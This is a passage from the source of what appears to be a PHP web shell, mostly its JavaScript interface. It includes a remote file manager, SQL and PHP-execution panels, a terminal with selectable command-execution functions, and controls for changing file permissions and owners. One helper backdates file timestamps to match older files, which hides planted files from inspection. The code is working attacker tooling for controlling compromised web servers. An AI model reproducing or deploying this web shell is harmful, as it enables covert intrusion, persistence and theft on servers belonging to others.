#c7c7c7;background:#efefef}.aMnItm{display:block;margin:1px;padding:2px 4px}.aMnItm:hover{background:#e0e0e0}.thPth{padding:8px 0 4px 0;background:#f0f0f0}.spnPth{display:inline-block;font:14px/1.4 'Courier New',monospace}.spnPth:hover ~ .spnPth{color:#cfcfcf}.tdUp{transform:rotate(180deg)}.lnkBlck{display:block;white-space:pre-wrap;word-break:break-all;min-height:1em}.lnk:after{content:'\21B5';float:right}.mrkd{text-decoration:underline}.prm0,.prm1,.prm2,.prm3{font:12px 'Courier New',monospace}.prm0{color:red !important}.prm2{color:#2b2bb2 !important}.prm3{color:#00aa00 !important}#tabSQL .toolbar input[type="text"]{margin:1px 4px}#divSQLWrpLeft{display:none;float:left;width:25%}#divSQLWrpRight{float:right;width:75%;padding-left:5px}#divSchm{position:static;white-space:nowrap;width:100%;overflow-x:hidden}.divItm{margin-bottom:2px}.actRe{margin:0 1px -3px 0;width:16px;height:14px;font:normal 19px/10px Verdana,sans-serif;border:1px solid transparent}.aMore{margin:0 1px}/*.aMore:hover{position:absolute;padding-right:3px;border-radius:3px;background:#f7f7f7;z-index:90}*/.spnRC{position:relative;float:right;margin-left:-100%;padding-left:5px;color:#0000cc;background:rgba(247,247,247,.85)}.divLst{margin:2px 0 10px 15px}.divFldTp{height:1.5em;margin:0 0 0 18px;color:#afafaf;font-size:xx-small}.divFldTp,.divItm{text-overflow:ellipsis;overflow:hidden}#frmSQL,#frmPg{display:none}#divCptn{margin:0 4px 2px 4px;font-style:italic}#divData{margin:0 4px 4px 0;overflow:auto}#divDump{justify-content:center;align-items:center}#tblHead,#tblData{margin:0 auto;width:auto}#frmPg input[type="text"]{display:inline-block;width:auto}#frmPHP{margin-bottom:3px}.cmpsRow:before,.cmpsCol:before{margin:0 2px 0 1px;font-size:15px;line-height:0}.cmpsRow:before{content:'\2B12'}.cmpsCol:before{content:'\25E7'}#sbmPHP{margin-left:15px}#divPHP{display:flex;flex:1 1 0;overflow:hidden}#txtPHP{color:#0d0d0d;background:#fff}#prePHP{margin:2px;padding:2px 4px;flex:1 0 0;overflow:auto;background:#fff;border:1px solid #c7c7c7}#divTrm::selection{background:#f0f0f0}#divTrm,#preTrm,#inpTrm{color:#0d0d0d;font:12px/18px 'Courier New',monospace;background:#fff}#divTrm{margin:0 2px 1px 2px;padding:4px;flex:1 1 0;overflow:auto;border:1px solid #f0f0f0}#preTrm,#inpTrm{margin:0;padding:0}#preTrm{white-space:pre-wrap;-moz-tab-size:4;tab-size:4}#inpTrm{border:0}#inpTrm:focus{box-shadow:none}#tblInf{margin:4px 2px 10px 2px;width:auto}#tblInf th,#tblInf td{vertical-align:top}#tblInf th{width:1%;padding-right:10px;text-align:left;white-space:nowrap}#tblInf th:only-child{height:3em;text-align:center;vertical-align:bottom;border:none;background:#F0F0F0}#tblInf td{white-space:pre-wrap;word-break:break-all}</style>
<script>HTMLSelectElement.prototype.__defineGetter__('textValue', function() {
return this.options[this.selectedIndex].label;
});
var mdlWndws = [],
tmShft = <?php echo time()*1000;?> - Date.now(),
exeFuncs = [], fmSort = [1, 1],
spnDtTm;
document.addEventListener('DOMContentLoaded', function() {
if (sessionStorage.getItem('uiRszBody')) document.body.style.width = '100%';
var e = elmById('dataExe').textContent.split('\n');
for (var i = 0, c = e.length - 1; i < c; i += 4) {
var v = e[i].trimRight().split(':');
if(e[i + 1] && e[i + 2] && e[i + 2])
exeFuncs.push([v[0], v[1], e[i + 1].trimRight() + '@' + e[i + 2].trimRight(), e[i + 3].trimRight()]);
}
e = elmById('frmCstEnv');
if (exeFuncs.length > 0) {
strgRstrChck('envCstm', e.e);
for (var i = 0, c = exeFuncs.length, v = sessionStorage.getItem('envFunc') | 0; i < c; ++i) {
var opt = new Option(exeFuncs[i][1], exeFuncs[i][0]);
if (exeFuncs[i][0] == v) opt.selected = true;
e.f.add(opt);
}
strgRstrVal('envShell', e.s);
strgRstrVal('envIntrPth', e.i);
strgRstrChck('envIntrOptN', e.n);
strgRstrChck('envIntrOptC', e.c);
} else {
elmById('fldEnv').disabled = true;
e.e.disabled = true;
}
strgRstrChck('ro', 'cbRO');
strgRstrChck('rr', 'cbRR');
strgRstrChck('tm', 'cbTM');
strgRstrChck('oi', 'cbOI');
fmRestoreState();
sqlRestoreState();
phpRestoreState();
trmRestoreState();
spnDtTm = elmById('divDtTm').firstChild;
uiUpdDtTm();
setInterval(uiUpdDtTm, 1500);
}, false);
window.onbeforeunload = function() {
strgSaveBool('uiRszBody', document.body.style.width === '100%');
if (exeFuncs.length > 0) {
var e = elmById('frmCstEnv');
strgSaveBool('envCstm', e.e.checked);
strgSaveOpt('envFunc', e.f.value);
strgSaveStr('envShell', e.s.value);
strgSaveStr('envIntrPth', e.i.value);
strgSaveBool('envIntrOptN', e.n.checked);
strgSaveBool('envIntrOptC', e.c.checked);
}
strgRstrChck('ro', 'cbRO');
strgRstrChck('rr', 'cbRR');
strgRstrChck('tm', 'cbTM');
strgRstrChck('oi', 'cbOI');
fmSaveState();
sqlSaveState();
phpSaveState();
trmSaveState();
};
function elmById(v) {
return document.getElementById(v);
}
function newElm(tag, attr) {
var e = document.createElement(tag);
for (var k in attr) e[k] = attr[k];
return e;
}
function strgRstrVal(opt, elm) {
opt = sessionStorage.getItem(opt);
if (opt === null) return;
if (typeof elm === 'string') elm = elmById(elm);
elm.value = opt;
}
function strgRstrArr(n) {
var val = sessionStorage.getItem(n);
return val === null ? [] : JSON.parse(val);
}
function strgRstrChck(opt, elm) {
if (sessionStorage.getItem(opt) === null) return;
if (typeof elm === 'string') elm = elmById(elm);
elm.checked = true;
}
function uiKeyDwn(e) {
e = e || window.event;
var c = mdlWndws.length;
if (c === 0) return;
if (e.which === 27)
for (var i = c - 1; i >= 0; --i) {
if (mdlWndws[i].clientTop) return mdlWndws[i].firstChild.childNodes[1].onclick();
} else if (c > 1 && e.altKey === true && e.which === 84)
for (var i = 0; i < c; ++i)
if (mdlWndws[i].clientTop && i + 1 < c) {
mdlWndws[i].style.zIndex = (mdlWndws[c - 1].style.zIndex | 0) + 1;
mdlWndws.push(mdlWndws.splice(i, 1)[0]);
return;
}
}
function uiUpdDtTm() {
var v = new Date(Date.now() + tmShft).toISOString();
v = v.slice(0, 10) + ' ' + v.slice(11, 13) + '<span class="blink">:</span>' + v.slice(14, 16);
if (spnDtTm.innerHTML !== v) spnDtTm.innerHTML = v;
}
function strgSaveArr(n, v) {
if (v.length) sessionStorage.setItem(n, JSON.stringify(v));
else sessionStorage.removeItem(n);
}
function strgSaveBool(n, v) {
if (typeof v === 'string') v = elmById(v).checked;
if (v) sessionStorage.setItem(n, 1);
else sessionStorage.removeItem(n);
}
function strgSaveStr(n, v) {
if (v === '') sessionStorage.removeItem(n);
else sessionStorage.setItem(n, v);
}
function strgSaveOpt(n, v) {
if (v !== '' && v !== 'UTF-8') sessionStorage.setItem(n, v);
else sessionStorage.removeItem(n);
}
function uiRszBody() {
var s = document.body.style;
s.width = s.width === '100%' ? '' : '100%';
return false;
}
function uiRsz(e) {
if(typeof e === 'string') e = elmById(e);
var s = e.style;
var cr = JSON.parse(e.getAttribute('cr'));
if (s.width === '100%'){
if(typeof cr != null){
s.width = cr.width;
s.height = cr.height;
s.top = cr.top + (cr.height / 2);
s.left = cr.left + (cr.width / 2);
}
else{
s.width = '';
s.height = '';
}
}
else{
e.setAttribute('cr', JSON.stringify(e.getBoundingClientRect()));
s.top = s.left = '';
s.width = s.height = '100%';
}
return false;
}
function uiDelMsg(div) {
elmById('divMsgs').removeChild(div);
return false;
}
function setMsgTmr(div) {
var fnc = uiDelMsg.bind(null, div),
tmr = setTimeout(fnc, 5000);
div.onmouseover = function() {
clearTimeout(tmr);
};
div.onmouseout = function() {
tmr = setTimeout(fnc, 5000);
};
}
function uiClsMsg() {
return uiDelMsg(this.parentNode);
}
function uiMsg(msg, type) {
if (!type) {
type = 'Prcs';
msg += ' \u2026';
}
var div = newElm('div', {
className: 'divCntrls divMsg' + type
});
div.appendChild(newElm('a', {
href: '#',
className: 'cntrl',
textContent: '\u00D7',
onclick: uiClsMsg
}));
div.appendChild(document.createTextNode(msg));
var elm = elmById('divMsgs');
elm.insertBefore(div, elm.firstChild);
if (type !== 'Prcs') setMsgTmr(div);
return div;
}
function uiChngMsg(div, msg, type) {
div.firstChild.onclick = uiClsMsg;
div.lastChild.textContent = msg;
div.className = 'divMsg' + type;
setMsgTmr(div);
var elm = elmById('actLog').style;
if (elm.display !== 'inline-block') elm.display = 'inline-block';
elm = elmById('divLogCntn');
elm.insertBefore(newElm('div', {
className: 'divMsg' + type,
textContent: '(' + utsToStr(Date.now() / 1000) + ') ' + msg
}), elm.firstChild);
return false;
}
function uiNetErrMsg(div) {
uiChngMsg(div, 'Network error\n' + div.lastChild.textContent.slice(0, -2), 'Err');
}
function uiShwModal(elm) {
if (typeof elm === 'string') elm = elmById(elm);
if (elm.style.visibility === 'visible') return false;
elm.style.zIndex = mdlWndws.length === 0 ? 100 : (mdlWndws[mdlWndws.length - 1].style.zIndex | 0) + 1;
elm.style.visibility = 'visible';
mdlWndws.push(elm);
elm.focus();
return false;
}
function uiActvModal(evnt) {
var elm = evnt.currentTarget,
n = mdlWndws.indexOf(elm);
if (n !== -1) {
var i = mdlWndws.length - 1;
if (mdlWndws[i] !== elm) {
elm.style.zIndex = (mdlWndws[i].style.zIndex | 0) + 1;
mdlWndws.splice(n, 1);
mdlWndws.push(elm);
}
}
if (evnt.target.tagName === 'SPAN' || evnt.target.tagName === 'DIV') {
elm.style.cursor = 'move';
var dx = evnt.pageX - elm.offsetLeft,
dy = evnt.pageY - elm.offsetTop;
document.onmousemove = function(e) {
elm.style.left = (e.clientX - dx) + 'px';
elm.style.top = (e.clientY + window.pageYOffset - dy) + 'px';
};
document.onmouseup = function() {
document.onmousemove = null;
document.onmouseup = null;
elm.style.cursor = '';
};
evnt.preventDefault();
evnt.stopPropagation();
return false;
}
}
function uiClsModal(elm) {
if (typeof elm === 'string') elm = elmById(elm);
elm.style.visibility = 'hidden';
mdlWndws.splice(mdlWndws.indexOf(elm), 1);
return false;
}
function uiSlctTxt(id) {
var r = document.createRange(),
s = window.getSelection();
r.selectNode(elmById(id));
s.removeAllRanges();
s.addRange(r);
}
function utsToStr(v) {
if (v < 1) return '?';
v = new Date(v * 1000).toISOString();
return v.slice(0, 10) + ' ' + v.slice(11, 19);
}
function clnLog() {
elmById('actLog').style.display = 'none';
elmById('divLog').style.visibility = 'hidden';
var div = elmById('divLogCntn');
for (var i = div.childNodes.length - 1; i >= 0; --i) div.removeChild(div.childNodes[i]);
return false;
}
var DS = '<?php echo NIX?"/":"\\\\";?>',
fmBuffer = [],
elmTblFiles = null,
elmTmplFileRow = null,
elmPth = null,
fileTypes = {
0xE000: 'P',
0xD000: 'D',
0xC000: 's',
0xA000: 'l',
0x8000: '-',
0x6000: 'b',
0x4000: 'd',
0x2000: 'c',
0x1000: 'p'
};
function fmSaveState() {
strgSaveStr('fmPath', elmPth.placeholder);
strgSaveArr('fmBuffer', fmBuffer);
}
function fmRestoreState() {
elmTblFiles = elmById('tblFiles');
elmTmplFileRow = elmById('tmplFileRow').content.firstChild;
elmPth = elmById('frmFM').p;
strgRstrVal('fmPath', elmPth);
elmPth.placeholder = elmPth.value;
fmBuffer = strgRstrArr('fmBuffer');
if (fmBuffer.length > 0) elmById('btnBufferMenu').disabled = false;
}
function uiCheckAll(id, state) {
var elms = elmById('frm' + id)['f[]'];
if (elms) {
if (elms.length > 0)
for (var i = elms.length - 1; i >= 0; --i) elms[i].checked = state;
else elms.checked = state;
}
}
function fmAjxSnd(msg, clbck, data, frm, chrst) {
if (!data) data = {};
data.a = 'f';
if (!('c' in data)) {
var cs = elmById('fmCSLoad').value;
if (cs !== '') data.c = cs;
}
ajxSnd(msg, clbck, frm, data, chrst ? chrst : elmById('fmCSSend').value);
}
function parseName(file) {
var n = file[0],
e = '';
if (file[1] === null) {
n = '[ ' + n + ' ]';
e = '[ DIR ]';
} else {
var p = n.lastIndexOf('.');
if (p > 0) {
e = n.slice(p + 1);
//n = n.slice(0, p);
}
}
file[0] = [file[0], n, e];
}
function cmprFiles(f1, f2) {
var [o, i] = fmSort;
var c1 = (i[1] ? f1[i[1]] : f1[0][i]);
var c2 = (i[1] ? f2[i[1]] : f2[0][i]);
var f1F = f1[1] !== null, f2F = f2[1] !== null;
if (f1F && f2F) {
if (c1 !== c2) return c1 > c2 ? 1*o : -1*o;
}
else if (f1F) return 1*o;
else if (f2F) return -1*o;
return f1[0][1] > f2[0][1] ? 1*o : -1*o;
}
function frmtSize(s) {
if (s === null) return '[ DIR ]';
if (s === -1) return '?';
if (s > 999) {
s = s.toString();
for (var i = s.length - 3; i > 0; i -= 3) s = s.slice(0, i) + '\u2009' + s.slice(i);
}
return s;
}
function prmsToStr(p) {
p |= 0;
if (p === 0) return '?';
var v = p & 0xF000;
return ((v in fileTypes) ? fileTypes[v] : 'u') + ((p & 0x0100) ? 'r' : '-') + ((p & 0x0080) ? 'w' : '-') + ((p & 0x0040) ? ((p & 0x0800) ? 's' : 'x') : ((p & 0x0800) ? 'S' : '-')) + ((p & 0x0020) ? 'r' : '-') + ((p & 0x0010) ? 'w' : '-') + ((p & 0x0008) ? ((p & 0x0400) ? 's' : 'x') : ((p & 0x0400) ? 'S' : '-')) + ((p & 0x0004) ? 'r' : '-') + ((p & 0x0002) ? 'w' : '-') + ((p & 0x0001) ? ((p & 0x0200) ? 't' : 'x') : ((p & 0x0200) ? 'T' : '-'));
}
function updFileRow(row, file, ogn) {
row.style.visibility = 'hidden';
row.cells[3].firstChild.textContent = frmtSize(file[1]);
row.cells[4].textContent = utsToStr(file[2]);
var elm = row.cells[5].firstChild;
elm.className = 'lnkAct prm' + file[3];
<?php if(NIX){?>elm.textContent = prmsToStr(file[4]);
elm.title = (file[4] | 0).toString(8).slice(-4);
elm = row.cells[6];
elm.textContent = ogn;
elm.title = (file[5] === -1 ? '?' : file[5]) + '/' + (file[6] === -1 ? '?' : file[6]);
<?php }else{?>switch(file[3]) {
case 1: elm.textContent = 'read';
break;
case 2: elm.textContent = 'write';
break;
case 3: elm.textContent = 'read/write';
break;
default: elm.textContent = 'none';
break;
}
<?php }?>row.style.visibility = 'visible';
}
function fillFileRow(cells, bpth, file, ogn) {
var fpth = bpth + file[0][0],
elm = cells[1].firstChild,
len = file.length;
if (file[1] === null) fpth += DS;
cells[0].firstChild.value = fpth;
elm.textContent = file[0][1];
if (len % 2 === 0) {
elm.title = canonPath(file[len - 1], bpth);
elm.classList.add('lnk');
}
if (fmBuffer.indexOf(fpth) > -1) elm.classList.add('mrkd');
elm = cells[2].firstChild;
elm.title = file[0][0];
elm.textContent = file[0][2];
cells[3].firstChild.textContent = frmtSize(file[1]);
cells[4].textContent = utsToStr(file[2]);
elm = cells[5].firstChild;
elm.classList.add('prm' + file[3]);
<?php if(NIX){?>elm.textContent = prmsToStr(file[4]);
elm.title = (file[4] | 0).toString(8).slice(-4);
elm = cells[6];
elm.textContent = ogn;
elm.title = (file[5] === -1 ? '?' : file[5]) + '/' + (file[6] === -1 ? '?' : file[6]);
<?php }else{?>switch(file[3]) {
case 1: elm.textContent = 'read';
break;
case 2: elm.textContent = 'write';
break;
case 3: elm.textContent = 'read/write';
break;
default: elm.textContent = 'none';
break;
}
<?php }?>
}
function listFiles(data, ownrs, grps) {
var bpth = data.p,
files = data.f,
tbdy = elmById('tmplFilesTBody').content.firstChild.cloneNode(true);
for (var pths = bpth.slice(0, -1).split(DS), cpth = '', i = 0, c = pths.length; i < c; ++i) {
cpth += pths[i] + DS;
tbdy.rows[0].cells[0].appendChild(newElm('a', {
href: '#' + cpth,
className: 'spnPth',
textContent: pths[i] + DS,
}));
tbdy.rows[0].cells[0].classList.add('prm' + data.m);
}
tbdy.rows[1].cells[0].firstChild.value = bpth + '..';
files.map(parseName);
files.sort(cmprFiles);
for (var i = 0, c = files.length; i < c; ++i) {
var file = files[i],
row = elmTmplFileRow.cloneNode(true);
fillFileRow(row.cells, bpth, file<?php if(NIX)echo",ownrs[file[5]]+'/'+grps[file[6]]";?>);
tbdy.appendChild(row);
}
elmTblFiles.appendChild(tbdy);
}
function listPaths(data) {
var stl = elmTblFiles.style;
if (stl.display !== 'none') {
stl.display = 'none';
for (var i = elmTblFiles.tBodies.length - 1; i >= 0; --i) elmTblFiles.removeChild(elmTblFiles.tBodies[i]);
elmTblFiles.tHead.rows[0].cells[0].firstChild.checked = false;
}
if ('p' in data) listFiles(data<?php if(NIX)echo',data.o,data.g';?>);
else
for (var i = 0, c = data.f.length; i < c; ++i) listFiles(data.f[i] <?php if(NIX)echo',data.o,data.g';?>);
stl.display = 'table';
}
function canonPath(pth, bpth) {
if (pth === '') return '';
var a = [],
s = DS,
v = pth.match(new RegExp('^[a-zA-Z0-9]{3,}://'));
if (v !== null) {
s = '/';
v = v[0];
var len = v.length;
a.push(pth.slice(0, pth[len] === s ? len : v - 1));
pth = pth.slice(len);
} else if (DS === '/') {
if (pth[0] === DS) a.push('');
} else {
pth = pth.replace('/', DS);
if (pth[1] === ':') {
a.push(pth.slice(0, 2));
pth = pth.slice(2);
} else if (pth.slice(0, 2) === DS + DS) {
a.push(DS);
pth = pth.slice(1);
} else if (pth[0] === DS) a.push('');
}
if (a.length === 0) return canonPath(bpth + pth, bpth);
v = pth.split(s);
for (var i = 0, l = v.length; i < l; ++i) switch (v[i]) {
case '':
case '.':
break;
case '..':
if (a.length > 1) a.pop();
break;
default:
a.push(v[i]);
break;
}
return a.length === 1 ? a[0] + s : a.join(s);
}
function onSrchFiles(div, data) {
if ('e' in data) return uiChngMsg(div, data.e, 'Err');
if (data.f.length === 0) return uiChngMsg(div, 'Nothing found', 'Inf');
listPaths(data);
uiDelMsg(div);
}
function srchFiles(e) {
e.preventDefault();
e.stopPropagation();
var frm = elmById('frmSrch'),
data = {
s: []
},
pths = frm.elements[0].value.split(DS === '/' ? ':' : ';');
for (var i = pths.length - 1; i >= 0; --i) {
var pth = canonPath(pths[i], elmPth.placeholder);
if (pth !== '') data.s.push(pth);
}
data.s.sort();
fmAjxSnd('Search files', onSrchFiles, data, frm);
uiClsModal(frm);
}
function uiSrchFTypeChngd() {
var frm = elmById('frmSrch'),
isDir = frm.y.value == 1;
for (var i = 0, a = [<?php if(NIX)echo"'u',";?> 'z', 't', 'x', 'v']; i < 5; ++i) frm[a[i]].disabled = isDir;
}
function uiShwFrmSrch() {
var frm = elmById('frmSrch'),
elm = frm.elements[0];
if (elm.value === '') elm.value = elmPth.placeholder;
uiShwModal(frm);
return false;
}
function updFrmFile(frm, file, cntnt, chrst) {
if (file[1] !== null) {
var elm = frm.firstChild.firstChild;
switch (file[1]) {
case 3:
elm.textContent = 'Full Access';
break;
case 2:
elm.textContent = 'Writable';
break;
case 1:
elm.textContent = 'Read Only';
break;
case 0:
elm.textContent = 'Who Do You Voodoo, Bitch?';
break;
}
elm.className = 'spnTitle prm' + file[1];
}
frm.elements[0].value = cntnt;
var elm = frm.elements[1];
elm.value = file[0];
elm.placeholder = file[0];
chrst = chrst.toLowerCase();
for (var i = frm.c.options.length - 1; i >= 0; --i)
if (frm.c.options[i].label.toLowerCase() === chrst) {
frm.c.selectedIndex = i;
break;
}
}
function tbdyByPath(pth) {
for (var i = 0, c = elmTblFiles.tBodies.length; i < c; ++i)
if (elmTblFiles.tBodies[i].rows[0].cells[0].textContent === pth) return elmTblFiles.tBodies[i];
return null;
}
function isInsPos(file, cells) {
var fF = file[1] !== null,
rF = cells[3].firstChild.textContent !== '[ DIR ]';
if (fF && rF) {
var by = (fmSort[0] < 3 ? fmSort[0] : 1);
var fExt = file[0][by],
rExt = cells[by].firstChild.textContent;
if (fExt !== rExt) return rExt > fExt;
} else if (fF) return false;
else if (rF) return true;
return cells[1].firstChild.textContent > file[0][1];
}
function updTblFiles(data, ownrs, grps) {
var tbdyCnt = elmTblFiles.tBodies.length,
bpth = data.p,
files = data.f;
if (tbdyCnt === 0) return;
files.map(parseName);
files.sort(cmprFiles);
for (var i = 0, c = files.length; i < c; ++i) {
var file = files[i],
fpth = bpth + file[0][0],
lpth = file.length % 2 == 0 ? canonPath(file.slice(-1)[0], bpth) : null,
ogn = <?php echo NIX?"ownrs[file[5]]+'/'+grps[file[6]]":"''";?>,
isNotUpdtd = true;
if (file[1] === null) fpth += DS;
for (var t = 0; t < tbdyCnt; ++t) {
var tbdy = elmTblFiles.tBodies[t],
rows = tbdy.rows,
isEqlBsPth = rows[0].cells[0].textContent === bpth;
for (var r = 2, n = rows.length; r < n; ++r) {
var row = rows[r],
cells = row.cells,
cfpth = cells[0].firstChild.value,
clpth = cells[1].firstChild.title;
if (isNotUpdtd && isEqlBsPth) {
if (cfpth === fpth) {
updFileRow(row, file, ogn);
isNotUpdtd = false;
} else if (isInsPos(file, cells)) {
var tmpl = elmTmplFileRow.cloneNode(true);
fillFileRow(tmpl.cells, bpth, file, ogn);
tbdy.insertBefore(tmpl, row);
isNotUpdtd = false;
++n;
}
}
if (clpth === fpth || cfpth === lpth || lpth === clpth) updFileRow(row, file, ogn);
}
if (isNotUpdtd && isEqlBsPth) {
var tmpl = elmTmplFileRow.cloneNode(true);
fillFileRow(tmpl.cells, bpth, file, ogn);
tbdy.appendChild(tmpl);
}
}
}
}
function updTblFile(f) {
var pos = f[0].slice(0, -1).lastIndexOf(DS) + 1,
bpth = f[0].slice(0, pos),
os = {},
gs = {};
f[0] = f[0].slice(pos);
<?php if(NIX){?>os[f[5]] = f[7];
gs[f[6]] = f[8];
f.splice(7, 2);
<?php }?>updTblFiles({
p: bpth,
f: [f]
}, os, gs);
}
function onSaveFile(div, data, chrst) {
if (typeof data !== 'string') return uiChngMsg(div, "Can't s" + div.childNodes[1].nodeValue.slice(1, -1) + data.e, 'Err');
var pos = data.lastIndexOf('\x03\x1E'),
file;
switch (data[pos + 2]) {
case '\x06':
file = JSON.parse(data.slice(pos + 3));
updFrmFile(this, [file[0], file[3]], data.slice(0, pos), chrst);
uiDelMsg(div);
break;
case '\x15':
file = JSON.parse(data.slice(pos + 3));
uiChngMsg(div, 'File ' + file[0] + " successful saved but can't read now", 'Inf');
break;
default:
uiNetErrMsg(div);
return false;
break;
}
updTblFile(file);
}
function saveFile(e) {
e.preventDefault();
e.stopPropagation();
var frm = e.target,
pth = canonPath(frm.elements[1].value, elmPth.placeholder);
fmAjxSnd('Save file as ' + pth, onSaveFile, {
w: pth
}, frm, frm.c.textValue);
}
function onRldFile(div, data, chrst) {
if (typeof data !== 'string') return uiChngMsg(div, "Can't read file " + div.childNodes[1].nodeValue.slice(5, -2) + data.e, 'Err');
var pos = data.lastIndexOf('\x03\x1E'),
file;
switch (data[pos + 2]) {
case '\x06':
file = JSON.parse(data.slice(pos + 3));
updFrmFile(this, file, data.slice(0, pos), chrst);
uiDelMsg(div);
break;
case '\x15':
file = JSON.parse(data.slice(pos + 3));
uiChngMsg(div, "Can't read file " + file[0], 'Inf');
break;
default:
uiNetErrMsg(div);
return false;
break;
}
}
function rldFile(e) {
e.preventDefault();
e.stopPropagation();
var frm = e.target.parentNode.parentNode,
pth = frm.elements[1].placeholder;
frm.t.value = '';
if (frm.firstChild.firstChild.textContent !== 'New File') fmAjxSnd('Reload file ' + pth, onRldFile, {
g: pth
}, frm);
}
function rldFileAs(e) {
if (e.target.parentNode.parentNode.elements[1].placeholder !== '' && confirm('Do you want to reload this file with selected charset?')) rldFile(e);
}
function uiShwFrmFile(file, cntnt, chrst) {
var frm = elmById('tmplFrmFile').content.firstChild.cloneNode(true);
updFrmFile(frm, file, cntnt, chrst);
elmById('divWndws').appendChild(frm);
uiShwModal(frm);
}
function onGoTo(div, data, chrst) {
if (typeof data === 'string') {
var pos = data.lastIndexOf('\x03\x1E');
switch (data[pos + 2]) {
case '\x06':
uiShwFrmFile(JSON.parse(data.slice(pos + 3)), data.slice(0, pos), chrst);
uiDelMsg(div);
break;
case '\x15':
uiChngMsg(div, "Can't open " + data.slice(pos + 3), 'Err');
break;
default:
uiNetErrMsg(div);
break;
}
} else {
if (data.f.length === 0 && (data.m === 0 || data.m === 2)) uiChngMsg(div, "Can't read dir " + data.p, 'Err');
else {
elmPth.value = data.p;
elmPth.placeholder = data.p;
listPaths(data);
uiDelMsg(div);
}
}
}
function goTo(pth) {
if (pth !== '' && pth !== '~') pth = canonPath(pth, elmPth.placeholder);
fmAjxSnd('Go ' + ((pth === '' || pth === '~') ? 'home' : 'to ' + pth), onGoTo, {
g: pth
});
return false;
}
function uiTgglSubMenu(e) {
var div = e.currentTarget.nextSibling,
style = div.style;
if (style.display === 'block') style.display = 'none';
else {
style.display = 'block';
div.firstChild.focus();
}
}
function menuButtonBlur(e) {
setTimeout(uiMenuButtonBlur, 10, e.nextSibling);
}
function menuItemBlur(e) {
setTimeout(uiMenuItemBlur, 10, e.parentNode);
}
function uiMenuButtonBlur(menuDiv) {
var actvPrnt = document.activeElement.parentNode;
if (actvPrnt !== menuDiv) menuDiv.style.display = 'none';
}
function uiMenuItemBlur(menuDiv) {
var actvPrnt = document.activeElement.parentNode;
if (actvPrnt !== menuDiv && actvPrnt !== menuDiv.parentNode) menuDiv.style.display = 'none';
}
function uiDstrModal(wndw) {
elmById('divWndws').removeChild(wndw);
return false;
}
function updBufferState() {
var elm = elmById('btnBufferMenu'),
isEmpty = fmBuffer.length === 0;
if (elm.disabled !== isEmpty) elm.disabled = isEmpty;
if (isEmpty) {
elm = elmById('frmBuffer');
if (elm.style.visibility === 'visible') {
uiClsModal(elm);
elm = elmById('tblBuffer');
elm.removeChild(elm.tBodies[0]);
}
}
}
function rmFiles(data) {
var bpth = data.p,
files = data.f,
flsTbds = elmTblFiles.tBodies,
flsTbdy = tbdyByPath(bpth),
bfrTbdy = elmById('frmBuffer').style.visibility === 'visible' ? elmById('tblBuffer').tBodies[0] : null;
for (var i = files.length - 1; i >= 0; --i) {
var fpth = files[i];
if (flsTbdy)
for (var j = flsTbdy.rows.length - 1; j > 1; --j)
if (flsTbdy.rows[j].cells[2].firstChild.title === fpth) {
flsTbdy.removeChild(flsTbdy.rows[j]);
break;
} fpth = bpth + fpth;
var n = fmBuffer.indexOf(fpth);
if (n > -1) {
fmBuffer.splice(n, 1);
if (bfrTbdy) bfrTbdy.removeChild(bfrTbdy.rows[n]);
}
fpth += DS;
var len = fpth.length;
for (n = flsTbds.length - 1; n >= 0; --n)
if (flsTbds[n].rows[0].cells[0].textContent.slice(0, len) === fpth) elmTblFiles.removeChild(flsTbds[n]);
for (n = fmBuffer.length - 1; n >= 0; --n)
if (fmBuffer[n].slice(0, len) === fpth) {
fmBuffer.splice(n, 1);
if (bfrTbdy) bfrTbdy.removeChild(bfrTbdy.rows[n]);
}
}
}
function onChngPrps(div, data) {
if ('r' in data) {
for (var i = 0, c = data.r.length; i < c; ++i) rmFiles(data.r[i]);
updBufferState();
}
if ('c' in data)
for (var i = 0, c = data.c.length; i < c; ++i) updTblFiles(data.c[i] <?php if(NIX)echo',data.o,data.g';?>);
if ('e' in data) uiChngMsg(div, "Can't change" + (data.e.length === 1 ? ' ' + data.e[0] : ':\n' + data.e.join('\n')), 'Err');
else uiDelMsg(div);
}
function chngPrps(e) {
e.preventDefault();
e.stopPropagation();
var frm = e.target,
data = {
h: []
},
flds = {
p: 'path',
t: 'modified time'
<?php if(NIX)echo",e:'permissions',o:'owner',r:'group'";?>
},
chngd = [];
for (var field in flds)
if (frm[field].value !== '' && frm[field].value !== frm[field].placeholder) {
data[field] = frm[field].value;
chngd.push(flds[field]);
} if (chngd.length > 0) {
if ('p' in data) data.p = canonPath(data.p, elmPth.placeholder);
var elm = frm['h[]'],
cnt = elm.length ? elm.length : 1;
if (cnt > 1)
for (var i = 0; i < cnt; ++i) data.h.push(elm[i].value);
else data.h.push(elm.value);
fmAjxSnd('Change ' + chngd.join(', ') + ' for ' + (cnt > 1 ? 'selected files (' + cnt + ')' : elm.value), onChngPrps, data);
}
uiDstrModal(frm);
}
function setErlDate(e) {
e.preventDefault();
e.stopPropagation();
var elm = e.target.parentNode.lastChild,
erlDate = elm.value;
for (var i = elmTblFiles.tBodies.length - 1; i >= 0; --i) {
var rows = elmTblFiles.tBodies[i].rows;
for (var j = rows.length - 1; j > 1; --j)
if (rows[j].cells[4].textContent < erlDate || erlDate === '') erlDate = rows[j].cells[4].textContent;
}
if (erlDate !== '' && erlDate < elm.value) elm.value = erlDate;
}
function uiShwFrmPrps(data, files) {
var frm = elmById('tmplFrmPrps').content.firstChild.cloneNode(true);
for (var i = 0, c = files.length; i < c; ++i) frm.appendChild(newElm('input', {
type: 'hidden',
name: 'h[]',
value: files[i]
}));
frm.p.value = data[0];
frm.p.placeholder = data[0];
frm.t.value = data[1];
frm.t.placeholder = data[1];
<?php if(NIX){?>frm.e.value = data[2];
frm.e.placeholder = data[2];
frm.o.value = data[3];
frm.o.placeholder = data[3];
frm.r.value = data[4];
frm.r.placeholder = data[4];
<?php }?>elmById('divWndws').appendChild(frm);
uiShwModal(frm);
}
function onGetPrps(div, data) {
if (data[4] === 0) return uiChngMsg(div, "Can't get properties of " + data[0], 'Err');
uiShwFrmPrps([data[0], utsToStr(data[2]), (data[4] | 0).toString(8).slice(-4), data[5] === -1 ? '?' : data[5], data[6] === -1 ? '?' : data[6]], [data[0]]);
uiDelMsg(div);
}
function getPrps(fpth) {
fmAjxSnd('Get properties of ' + fpth, onGetPrps, {
i: fpth
});
}
function onDwnFiles(div, data) {
uiChngMsg(div, "Can't d" + div.childNodes[1].nodeValue.slice(1, -2), 'Err');
}
function dwnFiles(files) {
var cnt = files.length;
